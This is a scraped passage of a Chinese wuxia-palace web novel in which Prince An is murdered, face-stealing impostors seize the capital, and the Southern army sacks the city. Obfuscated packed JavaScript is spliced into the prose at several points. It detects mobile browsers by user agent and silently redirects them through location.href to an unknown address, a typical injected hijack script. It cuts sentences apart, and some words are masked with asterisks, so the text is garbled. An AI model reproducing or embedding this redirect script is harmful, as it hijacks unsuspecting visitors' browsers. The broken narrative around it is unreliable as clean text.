安王也少不了听了这位赵姑娘的传奇故事,算来,这赵姑娘和他的年龄倒也相差仿佛。 可问题是,这跟自己有什么关系? 别说他只听说过这赵姑娘的名头,压根连见都没见过,就算是那位赵姑娘,恐怕更不知道他这安王是何方神圣了吧? 八竿子打不着的人,是怎么被孟希越牵到一块去的? “父王还要抵赖?” 大概是安王面上震惊的情绪太过浓烈,孟希越的语气也跟着重了起来,“把我母妃送走,你才好和赵姑娘浓情蜜意,才好让你们的儿子,早日认祖归宗,是不是?” “是,是什么是!” 迷幻地晃着脑袋,安王忍不住用力闭了闭眼,再使劲睁大了朝着孟希越看过去。 眼前这个满嘴胡话的人,真的是他的儿子吗? 不会,不会这个孟希越也是有人假扮的吧? 安王越想越觉得这才是真相! “你这个疯子,你还我儿子来!”他愤怒地狠狠将地板一拍! 好端端的,他的儿子怎么会疯成这样? 连这种臆测都能编的有鼻子有眼的! “我是疯子?” 孟希越闻言,面上的表情又变得更加古怪。 “父王,您是说不出任何解释,所以只能顾左右而言他了吧?”他嗤嗤冷笑着。 “我母妃无权无势,就能任由你们**于鼓掌之间了吗?为了让母妃给你的赵姑娘腾位置,你竟然连山匪**这种招数,都能想得出来!” 他神色激动,安王的表情则是变得更加幻灭。 山匪**,这也能算到他头上来? 天可怜见,他这辈子都还没见过山匪长什么样子呢! “你这个——” “若不是儿臣在南疆打了胜仗,有了功名,下一个死的,恐怕就是我了吧?”孟希越又一次截断了安王的话,“父王,你的手伸得可真够长的,连南郡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937436|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情,都能把持几分,大家一直以来,真是小看了你啊。” 阴恻恻地眯着双眼,孟希越的眼底已经现出了杀意。 安王已经彻底放弃了挣扎,瘫在地上,双眼呆滞地看着眼前这个面容扭曲,神情激动的青年人。 “你自己听听,这话说出来,可不可笑?”安王徒然地叹息着。 这都是什么乱七八糟的东西! 孟希越依言笑了两声,干巴巴的,显然,他倒是没有觉得自己的话有任何好笑的地方。 伸手从一个黑衣人腰间拔出长剑,他不紧不慢地朝安王走了过去。 “事到如今,儿臣本还想留父王一命的,可惜,从头到尾,父王既没有把我当成你的儿子,也没有任何要为我打算的意思。” 看着眼前晃动个不停的剑尖,安王忽然也扯了扯嘴角,露出一个苦涩的笑容。 “你已经彻底疯了。”他抬头望着孟希越的双眼,“你想怎么做,就怎么做好了,反正本王说的话,你一个字也不会相信,是不是?” 孟希越嘴唇蠕动,眼神也变得有些犹豫。 长剑在他手中抖动得更加厉害,有好几次都险险擦着安王的侧脸而过。 安王屏住呼吸,眉头紧皱,看着眼前的倒霉儿子,心里不由得又七上八下地挣扎起来。 这孩子,到底还能不能听进去人话? 不知道过去多长时间,似乎又只有一瞬,孟希越忽然后退两步,将剑挑开到一边去。 “父王还想说什么?说说看好了。” 双眼直勾勾地盯着安王,孟希越眉眼沉沉,仿佛被一股浓郁的雾气包裹着。 安王心思急转,紧张地舔着嘴唇。 他要说什么,才能让孟希越相信自己? 这事儿,怎么一件比一件难办! “你母妃的事情——” 思来想去,安王还是决定从安王妃的那件事入手,可他刚起了个话头,声音便戛然而止! “父王?” 孟希越眼睁睁地看着安王神情呆滞,嘴角溢出鲜血! 第二百七十五章 各有打算 “世子殿下。” “谁?” 一声呼唤从殿门方向传来,孟希越猛地扭过头,随即又皱起了眉毛。 “无尘大师?你怎么来了?” 这话问得十分不客气,无尘大师听去,一张圆胖脸上的笑容却也没有半分要消减下去的意思。 他缓缓合拢一双袖口,将精致小巧的暗器也收了进去。 “世子在这里面待的时间有些太长了,贫僧不放心啊,这才进来看看。”他笑容满面地道。 孟希越不着痕迹地从无尘大师的袖口处收回了眼神。 若不是知道无尘大师是个用暗器的高手,方才又亲眼见着他的武器,这会儿换个人来,看着他这张无害的脸,恐怕无论如何也想不到,就是这位杀了安王。 孟希越又转过头去,看着安王死不瞑目的模样。 直到最后,他用着的还是昭德帝的那张脸。 “可惜,可惜啊!” 无尘大师也朝着安王多看了几眼,确定他真的已经没了气息,又啧啧有声地叹息起来。 “误入迷途太久,已是积重难返,世子也不必太过伤心了,王爷这一去,身上背负着的罪孽,便也能一笔勾销,待来世,就能堂堂正正地重新做人了。” 听着无尘大师信誓旦旦的话,孟希越的面上却没有露出受到安慰的表情。 “无尘大师,”他静静地开口,目光依旧聚焦在安王的尸体上,“我父王说,他不认识赵姑娘。” 无尘大师掩藏在宽袖之下的手忽然握紧了两分。 “世子若是身处在这个位置之上,想来也不会承认的吧?”他面上却没有一丝一毫的表露,“为人父,为人夫,却为了一己私欲,做下那般丧心病狂的勾当,羞于启齿,也是人之常情。” 一边说着话,他一边状若不经意地朝着孟希越看了过去。 孟希越微微闭着双眼,面上的神情不算太好,却也让无尘大师挑不出什么毛病来。 “天问大师那边,现在如何了?” 片刻之后,孟希越睁开双眼,方才的那点恍惚已经消失不见。 无尘大师微微松了口气,却也不敢彻底放松,依旧悄悄斜晲着他的表情。 “大师一切安好,只等宫中的情况稳定下来了。” 他又朝着这乾清宫中来回打量了几眼。 安王已死,一双眼睛瞪得大大的,里面最后一丝活人的气息正在消失,而更远一些的地方,影天和影地这两个影卫都趴在地上人事不知,只有微弱的呼吸在不规律地进行着。 “两条走狗,不必留了。”无尘大师挥了挥衣袖,云淡风轻地看向周围,“去吧。” “慢着。” 赶在黑衣人们动作之前,孟希越忽然出了声。 “怎么了,世子?”无尘大师面上的笑容变得有些僵硬。 “这两人是昭德帝的近身暗卫,又跟在过谢无咎身边,就这么杀了,未免太过浪费。” 孟希越背着双手,腰杆挺直,表情又恢复了往日的倨傲。 “把他们绑了,暂时押到慎刑司去吧。”他朝着黑衣人们下达了另外一条命令。 这些黑衣人都是跟在孟希越身边的人,闻言连半点要犹豫的意思都没有,便快步上前,将影天和影地从地上捞了起来。 看着他们干脆利索的动作,无尘大师的眉头不着痕迹地皱了皱。 “世子,接下来您打算如何是好?” 等再和孟希越开口说话的时候,无尘大师便又恢复了先前那笑容满面的模样。 孟希越的表情倒依旧是淡淡的。 “宫中这会儿还有些乱,需要处理一下,父王毕竟是本世子的亲生父亲,虽然不能给他一个风风光光的葬礼,但本世子还是想送他一程。” “这,这个自然。”无尘大师干巴巴地道。 “眼下一应事务基本已经告一段落了,天问大师那边若是没有什么特殊情况,烦请无尘大师将他请进宫来,我们也是时候该坐下来,开诚布公地谈一谈了吧?” 转过身子,孟希越的一双眼睛就这么直勾勾地和无尘大师撞在了一起。 他神情锐利,气势十足,无尘大师见状下意识地转开了眼神。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957716|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“世子说得极是!” 又笑了两声,无尘大师似乎还想说什么,目光触到孟希越的脸色,又很快住了口。 “天问大师已经进城,贫僧这就回去一趟,代世子将宫中的情况告知大师。” 他欠了欠身,随即不等孟希越开口,便率先转头,朝着大殿之外走去。 孟希越注视着无尘大师的背影一瞬间就消失在空中,足足过去半晌,他才收回目光,不出声地冷笑着。 方才他父王正要说话,便被这位无尘大师毫不犹豫地动手射杀。 那动作快得不像是解决问题,倒像是在欲盖弥彰。 回过头,看着依旧大睁双眼,靠坐在床边的安王,孟希越的脸上终于蒙起了一层看不分明的情绪。 他上前两步,重新走到安王面前,垂着脑袋,对上他毫无神采的双眼。 “父王,你刚才到底要说什么?”他喃喃低语着。 安王,天问大师,还有那无尘大师,每个人的话都真真假假,不能尽信。 好在他也没打算尽信,否则,恐怕早就又**不知道多少次了! 豁然起身,孟希越环顾四周,一脸严肃地朝着自己的手下们看去。 “把持住宫中各处,”他压低声音开口,“暗中搜寻玉玺的下落,不得对任何人声张!” 那天问大师也是居心叵测,孟希越早有察觉,不过,只要大梁的传国玉玺还在他手中,一切就还不算失去控制—— “咝!” 剧痛猛地袭来,孟希越眼前一黑,顿时失去了对身体的控制,软趴趴地摔倒下去! “主子!” “时间到了!” “快,快去取药来!” 与此同时,京城之外,叶晚竹一行人还不知道皇宫已经悄无声息地易了主。 不过,看着半个时辰之前就从东厂方向升起的滚滚浓烟,几人都知道定是出了大事。 白云观烧得差不多,几人便立刻出发,先收拢徐将军的二十万大军,再前往京城—— “师兄?” “你怎么在这儿?” 第二百七十六章 京城守不住了 徐将军死在禹山山脚之下,他手中的西北大军无人统领,这会儿只能无头苍蝇一样,干巴巴地等在原处。 还好叶晚竹从前便和徐将军打过不少交道,对这支大军也还算熟悉,她拿了徐将军身上的虎符,又托词两句,将队伍收正了起来。 也就是在这个时候,岑灵川忽然出现在他们面前。 先是惊讶,等再看到岑灵川一只手捂着腰间,鲜血不断从指缝中滴落下来的模样,叶晚竹顿时便瞪大了双眼! 是谁伤了她师兄? 柳寻雁的表情也十分不好,眉头紧蹙,可还没等她开口,谢逸先急了。 “你怎么来了?不是,不是让你守城吗?” 顾忌着左右还有不少不明真相的西北将士,谢逸快步走到岑灵川面前,压低了声音问着话。 两人之间的距离近了些,谢逸更是能看到岑灵川腰间的伤口,又深又长,瞧着十分狰狞。 “京城,京城守不住了!” 岑灵川的表情从来没有这么难看过,一边说着话,他一边又捂紧了自己的伤口,感到背上一阵一阵地泛着凉意。 “你说什么?”谢逸闻言猛地倒吸了一口冷气,简直不敢相信自己的耳朵。 他们离开的时候,京中的局势不是已经被控制住了吗? 怎么会这样? 叶晚竹这时候也遣退了前来听令的西北军将士,沉着脸走上前来。 岑灵川环顾眼前几人,正欲开口,却忽然又将眉头一皱。 “你们都是谁?怎么证明自己的身份?” 他表情严肃,不带一丝笑容,显然并不是在开玩笑。 况且,现在也不是能玩笑的时候。 几人对视一眼,叶晚竹先开了口,“师兄你到京城来探望师傅的第一年,习武的时候,一拳打穿了叶府的外墙。” 岑灵川闻言嘴角抽了抽,一脸无奈地朝着叶晚竹看来。 他却没再多说什么,转头看向下一个人,“继续。” 柳寻雁思忖片刻,提了件江南的往事,谢逸等人也跟着证明起自己的身份来。 岑灵川和他们只有几面之缘,叶晚竹便主动揽下了这个差事,一一听着他们的身份无误,这才重新转头看了过去。 “师兄,到底怎么了?” 这个时候,岑灵川的脸色已经变得更加灰败,他腰上的伤口好像止不住血似的,没命地往外流着。 听着叶晚竹的声音,他晃了晃脑袋,努力打起精神,这才讲起了方才发生的事情。 和谢无咎沟通过后,岑灵川便在京中到处游荡,一边配合着那两位叫狄文和霍澜的将军行事,一边顺手把还在城中四处作乱的逆党收拾得服服帖帖。 这些逆党打扮成土匪强盗的模样,可把头上的帽子一摘,却都是不折不扣的光头! 全都是天问大师的人! 岑灵川抓了不少秃头,都交给了那两位将军,正要继续巡逻,却忽然听见了求救声。 他循着声音走进了一条隐蔽的巷道之中,果然发现有两个土匪打扮的人,正在对一个落单的姑娘图谋不轨! 不光要给城里制造混乱,还要满足自己那见不得人的私欲是吧? 要是他没猜错,这俩应该也是秃子吧? 岑灵川大骂一声就冲了上去,方才他和这些人交手,对方的功夫不好不坏,都不是自己的对手。 可岑灵川却没有想到,那姑娘,竟然是个诱饵! 他一拳一个把那两个秃子打翻在地,又揪了他们的帽子检查了一番,便要将那姑娘先护送到相对安全的地方去。 可那姑娘一边抽抽搭搭,一边一把**劈头盖脸地朝着岑灵川撒了下来! 这还有没有天理! 等岑灵川再醒过来,他已经不知道被关在了什么地方,四周漆黑一片,伸手不见五指。 不仅如此,他还发现自己脸上扣着一个东西,压得他连呼吸都十分困难。 手脚被绑着,岑灵川费了九牛二虎之力也挣脱不开,倒是把幕后之人引了过来。 岑灵川看不见对方的脸,只能听见这货洋洋得意的声音,笑嘻嘻地说,“又多了一张脸”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957717|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此人将岑灵川脸上的东西揭开,是至少两炷香之后,刚恢复了视力,岑灵川就霍然和一张与自己一模一样的脸皮对上了视线! “太邪性了!” 说到这儿,那画面似乎又在眼前浮现,岑灵川猛地打了个哆嗦,声音也变得喑哑起来。 “那张脸跟我一模一样!” “然后呢?”叶晚竹焦心地催促着。 “然后?”岑灵川重重地吐出一口长气,“然后那个人就把我的脸戴上,用我的身份走了出去!我听见他让手下都管他叫师兄,这个不要脸的东西!” 他什么时候有这么多脑子不好,心眼更坏的师弟! “等他们走后,有个处理尾巴的进来杀我,我偷偷弄松了绳子,反要了他的命,也让这孙子捅了我一刀。” 岑灵川又龇牙咧嘴地摸了摸腰间的伤口,那刀上还有毒! “我逃了出来,发现囚禁我的地方,就离他们引我上钩的巷子不远,也在城门附近。” “我想去找那两位将军,可是刚摸到城门附近,就听见那霍澜将军在马上发号施令,说要马上将城门打开。” “你说什么?” 听到这儿,谢逸忍不住又插了句嘴。 这怎么可能? “霍澜将军是不是也着了他们的道?”叶晚竹倒是听明白了几分,表情却变得更加难看。 “肯定是了。”岑灵川倒吸着冷气,“我听过霍将军的声音,跟那个在马上说话的人,完全不一样!” 可那个假的霍将军却是对着军中的小兵说话,他们就算是敢怀疑,也没有违抗军令的胆子。 “所以……城门开了?” 眉头紧皱,隐月低声问道。 岑灵川寒着脸点了点头。 “这还不是最糟糕的,”他却居然还有后话,“我趁乱在京中跑了一圈,这会儿还有本事发号施令的人,差不多都已经被换了。” “京城,恐怕已经完全落到那些秃驴的手中了。” 伴随着他的话,又一声**发出的闷响从京城方向传了过来! 第二百七十七章 诱饵是我 “这该怎么办?” 又朝着京城方向看去,这回升起浓烟的位置,赫然便是皇宫之中。 隐月眉头紧皱,神情已经不能再难看下去。 连城中要员都能被改头换面,这帮秃子,还有什么事情是不敢做的? 互相看看,几人的脸色都十分不好,一时间更是大脑一片空白,连思考的本事都没有了。 京城大门已经打开,十五万南疆军涌入,昭德帝已死,安王又能活多久? 叶晚竹的脸色晦暗不定。 “大梁,大梁……” 扭头也看着正在被轰炸的皇宫,岑灵川咬了咬牙,终究还是没把这句话说完。 可在场众人却都心知肚明。 国都被破,大梁已经名存实亡了。 “可恨!”谢尔一脚朝着一旁的树干踢了上去! “现在该怎么办?”他又叉着腰,“我混进城里去看看吧!” 说不定还能碰上几个秃驴,一道宰了! “最好不要。” 岑灵川摇了摇头,“我出城的时候,城门上已经开始换人,这会儿功夫,恐怕京城的布防已经彻底不在五城兵马司的手中了。” 有那个遭瘟的郑将军在,已经把城墙上的值守搅合得乱七八糟,这会儿还没等恢复过来,连霍澜将军都遭了毒手。 长叹一声,岑灵川的脸上也写满了挫败。 “这都是什么乱七八糟的事情!” 天问大师这个秃驴到底是什么人?又是怎么把京城搅合成如此局面的? 抓了一把头发,岑灵川又感到一阵天旋地转,被失血过多折磨得双膝一软,噗通一声软倒在地。 柳寻雁见状连忙上前将他扶起,又用随身带着的解**丸替他医治起来。 “那咱们总不能就这么看着那秃驴得逞吧?” 隐翼这会儿也急得团团转,他手搭在眼睛上,眺望着依旧在不断传来闷响的京城,又猛地倒吸了一口冷气。 “他们还在炸,这是打算把整个皇宫,都夷为平地吗?” 叶晚竹循声看去,只见方才还只是升起了几缕黑烟的地方,这会儿已经浓烟滚滚,不堪直视了。 在这样的情况之下,宫中能有多少人活着逃出来? 想到这儿,她也感到背上窜起了一阵阵的凉意。 这天问大师,简直是丧心病狂! “殿下,您拿个主意吧!” 隐月这时候上前两步,站在叶晚竹身边,压低了声音开口。 “出发之前,主子特意叮嘱了小的们,一旦发生什么情况,就让小的们唯殿下马首是瞻。” 叶晚竹微微一愣,随即又朝着谢无咎看了过去。 谢无咎此时依旧在被那些惨白人影身上的毒性影响着,昏迷不醒,呼吸微弱。 柳寻雁已经给他吃了一颗解毒的丹药,但现在看来,并没有任何效果。 “是啊,殿下,您来决定吧!” 听着这边的声音,谢逸也走上前来。 “虽然南疆的十五万大军已经攻入京城,但咱们这里不是也有二十万人手吗?”谢尔闻言也又打起了精神,“现在带兵杀过去,说不定还来得及!” “不可。”叶晚竹却果断地摇了摇头。 谢尔的表情又变得疑惑不解起来。 叶晚竹抬手指了指京城,这个时候,城中又有新的地方开始升起了滚滚黑烟。 “南疆大军已经尽数攻入城中,按照咱们先前对他们的了解,这些人对大梁又觊觎又仇恨,看这阵势,应该是要屠城。” 叶晚竹在南疆的那段日子,一路走去听了不知道多少句“大梁狗”,她这会儿一提,谢尔显然也想起了那不甚愉快的回忆。 “那……”他又更加不解地朝着叶晚竹看了过去。 南疆人要屠城,他们岂不是更应该要带兵前去解围? 隐月这会儿一拍大腿,先明白了过来。 “南疆军已经进了城,咱们这会儿前去,把他们堵在城中,不是更会让他们狂性大发,暴起伤人吗?到了那时候,只怕他们屠城的速度更快!” 谢尔闻言又攥紧拳头,低声咒骂了几句。 这帮该死的南疆人! “那,那该怎么办?” 总不能就这么眼睁睁地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957718|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他们作恶吧? 谢尔求救的眼神不住地朝着叶晚竹投了过来。 叶晚竹这会儿依旧在望着京城的方向,烟尘四起之中,她抿了抿唇。 “得想个办法,把他们从城里引出来才行。” 京城向来是温柔富贵乡,从来没有遭遇过这样的劫难,城中的百姓也不像西北和南郡那样,多少有些自我保护的意识。 这会儿功夫,城里肯定已经乱成了一锅粥。 “殿下,您是不是已经有打算了?”隐月看着叶晚竹的脸色。 叶晚竹点了点头,“我。” “……您说什么?” 短暂的怔愣过后,隐月又明白过来,顿时皱起了眉头。 “这太危险了。”他说。 “不危险,怎么能让那些南疆军撤出来?” 叶晚竹这会儿的语气十分冷静,“这些南疆军背后的人是天问大师那秃驴,他几次三番要对我动手,虽然不知道是为了什么,但显然,抓住我这件事情,对他来说非常重要。” “若是让他有机会对我动手,我想他会非常乐意的。” 想着天问大师那伪善的模样,叶晚竹的表情又变得更加冷淡。 “况且,还有二十万大军在外面,他会不想要吗?” 就眼下的情形看来,天问大师的手下无疑是缺人的,至少不够让他能将京城一口吞下。 否则,他也不用费尽心思从南疆弄来这样一批兵马,又暗中调换京中将军们的身份,好借此掌握五城兵马司和城北大营的兵力了。 现在有现成的二十万大军,况且就在京城之外,叶晚竹扪心自问,如果她是天问大师,在这样的情况之下,十有**会动心的。 这是一石二鸟之计。 “殿下……” 隐月还想再说些什么,叶晚竹却抬手打断了他的话。 “时间不等人,我们没有第二次机会了!” 要么就只能带着大军后撤,这样一来,便是放任京城落入万劫不复的深渊之中。 到了那个时候,一切只会变得更糟。 “我是这么打算的……” 第二百七十八章 军令?狗屁! 京中这个时候的情况的确已经成了一团乱麻。 四座城门大开,南疆军杀入京中,便迫不及待地开始了一场**! 先前还以为城门打开,是要放人出城的百姓们首先遭了难,后面的人见势不妙,连忙找地方躲避,城中很快就变得一片混乱。 家家户户门窗紧闭,也挡不住这些南疆人暴力破拆,再闯进屋中将人抓住。 五城兵马司的将士们见势不妙,要上前阻止,却听着霍澜将军那边派人传下军令,要所有人按兵不动! “按兵不动?这是什么鬼话,霍将军疯啦?” 接到命令的下级将军们都是一脸的不解。 别说他们,就连传令的随从也是眉头紧皱,脸上写满了不赞同。 先前霍将军要他们开城门,他们还以为是援军到了,可哪里的援军会对着京中的百姓喊打喊杀? 更别说,这些一看就是先前那些南疆军! “这不对劲。” 看着眼前的景象,这个姓罗的小将军脸色变得更加晦暗。 “霍将军在什么地方?” 传令的随从闻言,表情变得更加古怪。 “将军,将军就在城墙上督战呢,”他说着话,声音却哆嗦了起来,“可他说,如果各位对军令有什么怀疑的地方,也不要去找他,他,他自有主张!” 自有主张? 听着这话,小罗将军的脸色更是变个不停。 怎么主张? 眼睁睁地看着这些南疆军屠城吗? “我去你的!滚蛋!” 就在这时,随着一声大骂,小罗将军愕然转过头去,迎面便有一股鲜血朝自己撒了过来! 这又是什么情况? 他连忙后退躲开,一颗人头也跟着落了地,与此同时,一个五大三粗,黑脸带疤的魁梧男子大步流星地从后方走了过来! “宋将军?”小罗将军顿时瞠目结舌,“你怎么在这儿?” 这位是城北大营的一员虎将,与狄文将军乃是好友,当初狄将军从西北被提拔到京中,根基不稳的时候,宋将军也没少提供帮助。 他虽然是个性情中人,可这会儿眼眶通红,呼吸粗重的模样,却显然是大事不妙了。 “狄文**。” 这位魁梧的宋将军反手将刀对准地上那个人头,声音冷硬而仇恨。 “这人混在队伍里鬼鬼祟祟,不知道是要去给谁报信,杀了算了!” 这两句话之间愣是没有半点联系,小罗将军晕头转向地想了想,还是决定先抓住重要的那个。 “狄将军**?”他皱着眉头,“可我,可我刚刚还看到他骑马带兵……” 宋将军的情绪又肉眼可见地涌了起来。 “那个不是狄文,是个冒牌货!”他粗声粗气地哼着,“那货不认识我!” 宋将军生的这幅脾气,着实不适合走晋升之路,这么多年一直都是个小将军,除了私交,平日也不会和狄将军这个一营统帅走在一起。 可大庭广众之下,说不认识宋将军,那就有点过分了。 小罗将军悚然一惊,“这,这怎么会?” 那位的长相,分明就是狄将军本尊啊? “那冒牌货给城北大营下令,让所有人按兵不动,还说他自有打算,这话,你们应该也很耳熟吧?” 宋将军这时候又说出一句,小小罗将军闻言,顿时如遭雷击! 何止是耳熟! 他刚刚才听过! 一模一样的军令,同时在两支队伍里下达? “肯定是出事了,否则这狗屁倒灶的军令怎么可能传得下来?”宋将军活动了两下肩膀,“城北大营的人已经准备好了,你们要不要一起来?” “来,来什么?” 小罗将军这会儿更是头晕脑胀,双眼茫然地盯着宋将军,脑袋里一点儿该有的头绪都没有。 他出身京城,家中不缺吃穿,刚到五城兵马司就任了不到一年,只是想混个差事做做,怎么,怎么就变成这样了? “来和这帮南疆狗拼了,顺便,拧断那个狗贼的脖子。” 宋将军的语气又变得越发阴沉了下去。 “虽然不知道是怎么做到的,但狄文已经**,那个货却用着跟他一样的脸,简直是荒谬!不亲手杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957719|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,难平我心头之恨!” “还有霍澜将军,”他又抬起头,朝着城墙之上扫了一眼,“应该也已经遭了毒手吧?” 小罗将军本能地想反驳,话到嘴边却又咽了下去。 的确,能想出这种军令,让他们眼睁睁地对城中撒手不管,就算霍将军没死,他也一定有问题! “宋将军打算如何动手?”他猛地扬起头来。 宋将军捏紧了手中的剑柄,下一刻猝不及防地一声大吼,朝着正在城中不远处的街上踹门搜房的南疆军就冲了上去! “杀就完了!” “这,这是怎么回事?” 京城北门的城墙之上,“霍澜将军”看着一支支队伍冲入主干道,二话不说便和南疆人扭打在一起,顿时心下大惊,猛地扑到城墙边,扒着高大的墙体震惊地看了下去。 他不是已经让随从发了军令下去,要求任何人不得轻举妄动吗? 等等,这好像不是五城兵马司的装备—— “让开!” 还没等“霍澜将军”回过神来,混乱的脚步声响起,五城兵马司的将士们就这么出现在他面前。 “你们这是要干什么?” 一眼便能看出这些将士来者不善,“霍澜将军”的脸色变了变,眉头也跟着皱紧,“还不快去执行任务?” “执行什么任务?将军不是叫我们什么都不做吗?” 领着来人的正是小罗将军,他一身血气,眼中还带着隐藏不住的锐利。 “将军,您的嗓子怎么了?”他又朝着“霍澜将军”挑了挑眉。 “霍澜将军”的脸又有了一瞬间的凝滞,呼吸也跟着粗重了几分。 “放肆!”他骤然低喝起来,“你这是要违抗军令不成?” “你也好意思说自己的话是军令?” 小罗将军语气加重,抬手便将一颗人头朝着“霍澜将军”砸了过去! “好好看看,这是谁?” 看着那本该隐藏在狄文将军面具下的脸,“霍澜将军”猛地倒吸一口冷气,而后骤然朝着小罗将军扑了过去! “秃驴,又在伪装了?” 第二百七十九章 你是何人,你又是何人? 还没等“霍澜将军”冲到这些五城兵马司的将士面前,一声冷笑从背后传来,劲风也猛地袭上! “霍澜将军”下意识地猛地转过身子,险险避开了那从背后刺向心口的一剑! 虽然有盔甲护体,但这阵强劲的杀气还是让他瞬间就感到全身冷汗直流! “什么人?” “连我都不认识?你果然是个秃驴!” 隐月翻身城墙外面跳了进来,手中长剑一扫,一边嘲笑着这位,一边再度冲了上去,“现在就要你的命!” “霍澜将军”左右躲闪,虚晃一枪就要转身逃跑,另一边,小罗将军则是精神一振,拔刀也跟上了动作,“逆贼,找死!” 他大喝一声,身后跟着的兵士们也一拥而上,将“霍澜将军”团团包围在其中。 “跑?你还想跑到哪儿去?” 隐月又冷笑着飞身而起,他动作果断,几招便截断了“霍澜将军”的攻势,一脚将人狠狠地踹翻在地! “霍澜将军”趴在地上,捂着胸口吐出一大口血,还想起身,便被隐月一脚踩在后背上,顿时又重重地咳嗽起来。 “让我看看,你到底是什么东西?” 弯腰将他的上半身抬起来,隐月的目光在此人面上逡巡一番,而后朝着他耳后探手过去。 “呲啦”一声,“霍澜将军”的那张脸,便硬生生地被隐月扯了下来,再攥在手中! 望着出现在面前的这张陌生的脸,五城兵马司的将士们纷纷发出了惊讶的声音。 隐月再笑一声,又打掉他的头盔,一个锃明瓦亮的脑袋便在日光下暴露无疑。 “果然又是个秃驴!” 看着此人头顶的戒疤,隐月手上用力,攥紧了他的衣襟,“天问那老秃驴在什么地方?说!” 大概是彻底暴露了面容,这假和尚也不再伪装,双眼直直盯着隐月,眼底满是愤慨,“不准你侮辱大师——” 他一句话还没说完,隐月的大耳光便狠狠地摔了过去! “我就侮辱,你能怎么样?”隐月笑得十分狰狞,“再不说,我就让你加入我们东厂,当一个秃驴太监!” 这假和尚的脖子下意识地缩了缩。 “你还真想要还俗啊?” 见他这般模样,隐月先是震惊,刚要再开口说些什么,城中忽然又传来了一阵冲天的**声! 他本能地抬起头朝那边看去,与此同时,这假和尚也猛地用力一挣! 不知道这位是怎么做到的,他的身子像蛇一样收缩起来,又忽然弹出,整个人愣是从真正的霍澜将军那厚重的盔甲里钻了出去,朝着城墙一跃而下! “站住!” 小罗将军见状要追,冲到城墙边,却见着这位贴在几层楼高的城墙上,没有半点犹豫地滑了下去! 他里面穿着一身百姓的衣裳,落地之后快跑了几步,瞬间就如泥牛入水,钻进混乱的人群中就不见了。 “该死的秃子!” 狠狠一拍城墙,小罗将军把自己的手都震得生疼,他这会儿也顾不上太多,又转头去找隐月的踪迹。 “隐月侍卫!您到这儿来,可是九千岁有什么指示?” 小罗将军的眼睛亮晶晶的。 九千岁追着叛党在京中逃窜的情形,他们都是看见了的,有这位在,京中或许还不算完全失去控制! 隐月心下苦笑着。 指示? 若是让这些将士们知道,九千岁也已经昏迷不醒,那可就是真的大事不妙了! 不着痕迹地皱了皱眉,隐月面上却没有半分表露。 “京中现在是什么情况?”他避而不答,倒是又换了个问题。 小罗将军的注意力果然立刻就被吸引了过去,上前一迭声地交代起自己方才的经历来。 “……宋将军与我兵分两路,带着大批兵马到京中,和这些叛党对战去了!” 听着这话,隐月倒是将高高提着的心放下了几分。 还好,天问大师的阴谋不算完全成功! 有这两大营的人手在,那些南疆军在京中的情况,势必要比他们刚才猜测的更加不顺利。 如此一来,他们的计划成功的可能性,也会变得更大! “隐月侍卫,接下来怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 